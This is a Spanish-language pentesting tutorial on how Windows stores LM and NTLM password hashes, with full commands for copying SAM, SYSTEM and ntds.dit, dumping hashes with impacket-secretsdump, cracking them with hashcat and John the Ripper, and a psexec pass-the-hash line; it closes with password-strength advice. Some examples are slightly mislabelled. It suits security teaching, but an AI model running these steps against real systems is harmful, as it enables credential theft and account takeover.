GhostAcademy logo GhostAcademy
🔑 Pentesting · Windows · SAM · NTLM · Educativo
Cracking Windows
Passwords

Guia practica educativa sobre como Windows almacena contrasenas, como se extraen los hashes de la base SAM y SYSTEM, y como se descifran usando herramientas como impacket-secretsdump y John the Ripper.

01 Obtener SAM + SYSTEM 02 Dump de hashes 03 Crackear la contrasena
SAMNTLMLM impacketjohnhashcat VSSreg savepass-the-hash

Introduccion

portadaCracking Windows Passwords — portada
Cracking Windows Passwords — portada

¿Alguna vez te has preguntado como Windows almacena tus contrasenas y que tan seguras son realmente? Este manual explora el modo de almacenamiento de contrasenas en Windows y como se pueden descifrar los hashes.

Es un proyecto con fines exclusivamente educativos: desentranaremos los secretos detras de la seguridad de las contrasenas en Windows, desde los conceptos basicos hasta las tecnicas mas avanzadas.

⚠ Uso etico: Las herramientas y tecnicas mostradas en este manual pueden ser utilizadas tanto por profesionales de seguridad legitimos como por personas malintencionadas. Es fundamental utilizarlas de manera etica y responsable, y unicamente en sistemas propios o con autorizacion explicita.

¿Que es un Hash?

Las funciones hash son algoritmos que transforman una entrada de datos en una cadena de longitud fija. Diferentes algoritmos producen resultados distintos para la misma entrada.

Ejemplos de hashes de la palabra "Admin"
# MD5 de "Admin"
MD5:     21232f297a57a5a743894a0e4a801fc3

# SHA-256 de "Admin"
SHA-256: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

En el contexto de Windows se han utilizado principalmente dos tipos de hash para almacenar contrasenas: LM y NTLM.

LM — LAN Manager Hash

LM fue el primer algoritmo hash utilizado por Windows, desde Windows 3.1 hasta XP. A partir de Vista fue discontinuado por sus multiples debilidades de seguridad, aunque puede activarse por compatibilidad.

Proceso del algoritmo LM — Ejemplo con "Admin1234"

01
Rellenar con ceros hasta 14 caracteres
Admin1234 → Admin123400000
02
Convertir todas las letras a MAYUSCULAS — LM no distingue mayusculas/minusculas
Admin123400000 → ADMIN123400000
03
Dividir en dos bloques de 7 caracteres
Bloque 1: ADMIN12    Bloque 2: 3400000
04
Aplicar cifrado DES a cada bloque de forma independiente
Genera dos hashes independientes que se concatenan para formar el hash LM final.

Vulnerabilidades del algoritmo LM

⚠ Por que LM es inseguro:

• Fragmentacion: Si un atacante descifra el bloque 2 (3400000, que es trivial porque son todos ceros), solo queda descifrar el bloque 1 independientemente.

• Ceros predecibles: Si la contrasena tiene menos de 8 caracteres, el segundo bloque siempre sera 0000000.

• Sin diferencia de mayusculas: Reduce drasticamente el espacio de busqueda del atacante.

NTLM — NT LAN Manager

NTLM es una version mejorada de LM que corrige sus principales debilidades. Sus caracteristicas principales son:

✓ Case-sensitive
Distingue entre mayusculas y minusculas, aumentando el espacio de busqueda.
✓ Sin fragmentacion
Procesa la contrasena completa como un solo bloque, no en partes de 7.
✓ Algoritmo MD4
Usa MD4 en lugar de DES, mas robusto que el cifrado de LM.
✗ Sin salting
Misma contrasena = mismo hash en cualquier maquina. Vulnerable a rainbow tables y pass-the-hash.
💡 Recomendacion: Aunque NTLM es mas seguro que LM, se recomienda utilizar contrasenas de mas de 14 caracteres combinando mayusculas, minusculas, numeros y simbolos. Los algoritmos modernos como SHA-3 o bcrypt ofrecen mayor seguridad.

Almacenamiento de Hashes en Windows

Ubicacion de los hashes:

• Sistema local: %systemdrive%\Windows\System32\config\SAM
El archivo SAM esta cifrado. La clave de descifrado se encuentra en el archivo SYSTEM de la misma carpeta.

• Active Directory (Domain Controller): %systemdrive%\Windows\NTDS\ntds.dit
Almacena los hashes de todos los usuarios del dominio.

Ambos archivos estan bloqueados por el sistema operativo mientras Windows esta en ejecucion, incluso con privilegios de administrador. Para acceder a ellos es necesario usar tecnicas especiales.

01
Obtener los archivos SAM y SYSTEM
6 tecnicas — desde Volume Shadow Copy hasta Live USB

Windows bloquea el acceso a SAM y SYSTEM mientras esta en funcionamiento. Hay varias tecnicas para acceder a estos archivos:

Tecnica 1 — Volume Shadow Copy (VSS)

Windows crea copias de seguridad de archivos criticos mediante el servicio Volume Shadow Copy. Se puede acceder a ellos aunque esten bloqueados.

windowsArchivo SAM bloqueado en sistema activo
Archivo SAM bloqueado en sistema activo
windowsExplorando el directorio System32/config
Explorando el directorio System32/config
PowerShell (Admin) — Volume Shadow Copy
# 1. Listar copias de sombra disponibles
vssadmin list shadows

# 2. Montar la copia de sombra en una ruta accesible
mklink /D C:\ShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# 3. Acceder al directorio config y copiar SAM y SYSTEM
C:\ShadowCopy\Windows\System32\config

Tecnica 2 — reg save (desde sesion activa)

Con una sesion abierta y privilegios de administrador, se puede exportar directamente desde el registro.

CMD (Admin) — Exportar SAM y SYSTEM
# Exportar SAM desde el registro
reg save HKLM\SAM C:\sam_backup

# Exportar SYSTEM desde el registro
reg save HKLM\SYSTEM C:\system_backup

Tecnica 3 — Herramientas de copia en caliente

CMD — RawCopy (copia archivos bloqueados)
RawCopy.exe \\.\C: C:\Destination SYSTEM SAM

Tecnica 4 — Active Directory (ntds.dit)

CMD (DC Admin) — ntdsutil snapshot
# Crear snapshot del ntds.dit con ntdsutil
ntdsutil "activate instance ntds" ifm "create full C:\ntds_dump" quit quit

Tecnica 5 — Live USB / WinPE (sin sesion activa)

La unica tecnica que no requiere partir de una sesion abierta en el sistema objetivo. Se arranca desde un USB externo y se accede directamente a los archivos sin restricciones del SO.

winpeSergei Strelec WinPE — entorno de arranque desde USB
Sergei Strelec WinPE — entorno de arranque desde USB
winpeAccediendo a Windows/System32/config desde WinPE y copiando SAM y SYSTEM
Accediendo a Windows/System32/config desde WinPE y copiando SAM y SYSTEM
💡 Por que esta tecnica es la mas usada en el manual: Es la unica que no requiere que el sistema este en marcha. Con Sergei Strelec WinPE (o un live USB de Linux), simplemente montas la particion Windows y copias los archivos SAM y SYSTEM sin ninguna restriccion del sistema operativo.
02
Hacer un dump de los hashes
impacket-secretsdump · samdump2 · Combinar SAM + SYSTEM

Una vez que tienes SAM y SYSTEM, no puedes leer las contrasenas directamente. Necesitas hacer un dump por tres razones:

Por que es necesario el dump:

• SAM cifrado: El archivo SAM tiene sus hashes cifrados. El archivo SYSTEM contiene la bootkey necesaria para descifrarlos.

• Formato compatible: El dump organiza los hashes en formato compatible con herramientas de cracking como John the Ripper o Hashcat.

• Combinar ambos: Se necesitan ambos archivos juntos para obtener los hashes en texto plano.

impacket-secretsdump (recomendado)

kaliArchivos SAM y SYSTEM en Kali Linux listos para el dump
Archivos SAM y SYSTEM en Kali Linux listos para el dump
Kali Linux — impacket-secretsdump
# Extraer hashes combinando SAM y SYSTEM — guardar en dump.txt
impacket-secretsdump -sam SAM -system SYSTEM LOCAL > dump.txt
kaliEjecucion de impacket-secretsdump — extrayendo hashes
Ejecucion de impacket-secretsdump — extrayendo hashes
kaliContenido del archivo dump.txt con los hashes extraidos
Contenido del archivo dump.txt con los hashes extraidos

samdump2 (alternativa)

Linux — samdump2 + bkhive
# Extraer la bootkey del archivo SYSTEM
bkhive SYSTEM bootkey

# Usar samdump2 con la bootkey para extraer hashes del SAM
samdump2 SAM bootkey > hashes.txt

Anatomia del Dump — Desglose linea a linea

El formato de cada linea del dump es: Usuario:RID:LMHash:NTLMHash:::

EJEMPLO DE DUMP REAL:
Administrador: 500: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado: 501: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount: 504: aad3b435b51404eeaad3b435b51404ee: f841f377ccb896e2decfae553eea05b1:::
Jose: 1001: aad3b435b51404eeaad3b435b51404ee: 0293a894596aaf00de7c241ef78976c5:::
Usuario
RID
LM Hash
NTLM Hash
NTLM valido
analisisAnalisis del dump — hashes especiales y validos
Analisis del dump — hashes especiales y validos
Valores especiales a conocer:

• LM = aad3b435b51404eeaad3b435b51404ee → No hay hash LM almacenado (LM deshabilitado, el valor es relleno)

• NTLM = 31d6cfe0d16ae931b73c59d7e0c089c0 → Contrasena en blanco (sin contrasena configurada)

• Cualquier otro valor NTLM → Hash valido de una contrasena real. Puede usarse para cracking o pass-the-hash.
03
Descifrar la contrasena detras de los hashes
6 tecnicas — fuerza bruta, diccionario, rainbow tables, pass-the-hash
LENTO
1. Fuerza Bruta
Prueba todas las combinaciones posibles de caracteres hasta encontrar la contrasena.
+ Encuentra cualquier contrasena
- Lento para contrasenas largas
MEDIO
2. Diccionario
Usa listas predefinidas de contrasenas comunes (rockyou.txt, etc.).
+ Mas rapido que fuerza bruta
- Depende del diccionario
MEDIO
3. Hibrido
Diccionario + mutaciones: anade numeros, simbolos, variaciones al final.
+ Mayor tasa de exito
- Mayor tiempo
RAPIDO
4. Rainbow Tables
Tablas precomputadas de hashes. Busqueda casi instantanea si el hash esta en la tabla.
+ Muy rapido con tablas
- Mucho espacio en disco
SIN CRACKEAR
5. Pass-the-Hash
Usa el hash directamente para autenticarse sin necesidad de saber la contrasena.
+ No requiere descifrar
- Requiere acceso de red
AVANZADO
6. Reglas avanzadas
Reglas personalizadas en Hashcat/John para combinaciones especificas y patrones complejos.
+ Muy flexible
- Requiere configuracion

Comandos — Hashcat

Hashcat — modo NTLM (-m 1000)
# Fuerza bruta (mask attack)
hashcat -m 1000 hashes.txt wordlist.txt

# Diccionario con rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Hibrido: diccionario + 3 digitos al final
hashcat -m 1000 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt ?d?d?d

# Reglas avanzadas
hashcat -m 1000 -a 0 hashes.txt --rules=rules/best64.rule wordlist.txt

Pass-the-Hash con Impacket y Evil-WinRM

Impacket — psexec Pass-the-Hash
# Autenticarse usando el hash directamente (sin conocer la contrasena)
psexec.py administrator@target_ip -hashes aad3b435b51404eeaad3b435b51404ee:0293a894596aaf00de7c241ef78976c5

Rainbow Tables — rcrack

rcrack — Rainbow table lookup
# Buscar hashes en una rainbow table
rcrack rainbow_table_directory -f hashes.txt

John the Ripper — Practica Real

El manual usa John the Ripper con un diccionario wordlist.lst para descifrar los hashes del dump. El usuario objetivo es Jose con contrasena 56781812.

kaliTerminal con dump.txt y wordlist.lst listos para John the Ripper
Terminal con dump.txt y wordlist.lst listos para John the Ripper
Kali Linux — John the Ripper contra dump SAM
# Descifrar hashes NTLM del dump con un diccionario
john --wordlist=wordlist.lst --format=nt dump.txt

# Con rockyou.txt (diccionario mas completo)
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Ver contrasenas ya crackeadas
john --show --format=nt dump.txt
resultadoJohn the Ripper encuentra la contrasena: Jose — 56781812
John the Ripper encuentra la contrasena: Jose — 56781812
🎯 Resultado: John the Ripper muestra la contrasena crackeada en rojo. En este ejercicio la cuenta Jose tenia la contrasena 56781812, que estaba en el diccionario. Si la contrasena no esta en el diccionario, el ataque fallara.

🔗 Lista de formatos admitidos: pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

Defensa — Contrasenas Robustas

Conocer como funciona el cracking de contrasenas es la mejor motivacion para crear contrasenas realmente seguras.

  • 📏
    Longitud minima de 12 caracteres — idealmente 16 o mas. Cada caracter adicional multiplica exponencialmente las combinaciones posibles.
  • 🔐
    Combina 4 tipos de caracteres: mayusculas, minusculas, numeros y simbolos (!@#$%&). Un diccionario de 10^4 no es lo mismo que uno de 10^16.
  • 🚫
    Evita informacion personal — nombres, fechas de nacimiento, numeros de telefono. Esta informacion es facilmente obtenible en OSINT.
  • 📄
    Evita palabras de diccionario — cualquier palabra que aparezca en rockyou.txt o similares puede ser crackeada en segundos.
  • 🎲
    Aleatoriedad real — no uses patrones de teclado (qwerty, asdf) ni secuencias numericas (123456, 987654).
  • 👥
    No reutilices contrasenas — si una cuenta es comprometida y usas la misma contrasena, todas tus cuentas estan en riesgo.
  • 🔄
    Actualiza periodicamente — cada 3 o 6 meses reduce el riesgo de que un hash antiguo sea explotado despues de una brecha.
💡 Gestor de contrasenas: La mejor forma de cumplir todos estos criterios sin tener que memorizarlos es usar un gestor de contrasenas (Bitwarden, KeePass, 1Password). Genera contrasenas aleatorias de 20+ caracteres para cada servicio automaticamente.